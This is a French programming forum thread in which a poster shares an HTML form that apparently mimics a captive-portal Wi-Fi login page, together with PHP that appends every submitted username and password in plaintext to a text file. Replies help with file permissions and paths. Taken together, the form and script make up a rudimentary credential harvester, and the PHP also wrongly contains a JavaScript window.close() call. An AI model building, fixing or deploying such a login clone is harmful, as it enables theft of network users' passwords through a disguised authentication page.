Récupérer un texte entre HTML et PHP - HTML/CSS - Programmation
Marsh Posté le 12-10-2014 à 11:22:33
le repertoire dans lequel se trouve le fichier texte doit permettre l'accès en ecriture a PHP.
est-ce un serveur sous linux ?
Marsh Posté le 13-10-2014 à 10:09:50
$fp = fopen("fichier.txt", "a" );
-> tu ne spécifies pas le chemin d'accès complet du fichier. Du coup, faut voir quel est le répertoire de travail par défaut pour savoir où PHP tente d'écrire ton fichier. Pour plus de sureté, mets un chemin d'accès complet.
Marsh Posté le 10-10-2014 à 23:32:55
Bonjour,
J'ai le lance dans la programmation en PHP et un HTML j'ai des champ a remplire sur un site mais je n'arrive pas a faire qu'il s'enregistre dans un document texte
voici mon HTML : (une partie)
<form name="form1" method="post" action="/name.php">
<input type="hidden" name="challenge" value="92fedffbd67c496e0fd5fdd5b9df7671">
<input type="hidden" name="uamip" value="192.168.182.1">
<input type="hidden" name="uamport" value="3990">
<input type="hidden" name="userurl" value="http://www.google.fr">
<table id="boite-logon">
<tr>
<td width="20%" rowspan="3"><img id="logo-organ" src="/images/organisme.png"></td>
<td width="30%" align="right">Identifiant</td>
<td width="50%" align="left"><INPUT type="text" maxLength="32" name="name" autocomplete="off"></td>
</tr>
<tr>
<td align="right">Mot de passe</td>
<td align="left"><INPUT maxLength="32" type="password" name="mdp" autocomplete="off"></td>
</tr>
<tr>
<td height="23" colSpan="2" align="center"><INPUT value="Authentification" type="submit" name="button" onclick="javascript:popUp('http://alcasar.localdomain/status.php')"></td>
</tr>
</table>
</form>
Et voici mon PHP :
<?php
$name = $_POST['name'];
$mdp = $_POST['mdp'];
$fp = fopen("fichier.txt", "a" );
fwrite($fp,$name);
fwrite($fp,$mdp);
fclose($fp);
window.close();
?>Je ne comprend pas pourquoi cela ne cree pas un fichier texte avec se qu'on a taper dans les champ mdp et name quand je le lance et que je complie gogle m'afiche mon name.php
J'attend l'aide de personne matricent bien c'est langage , Merci d'avance
Bonne journée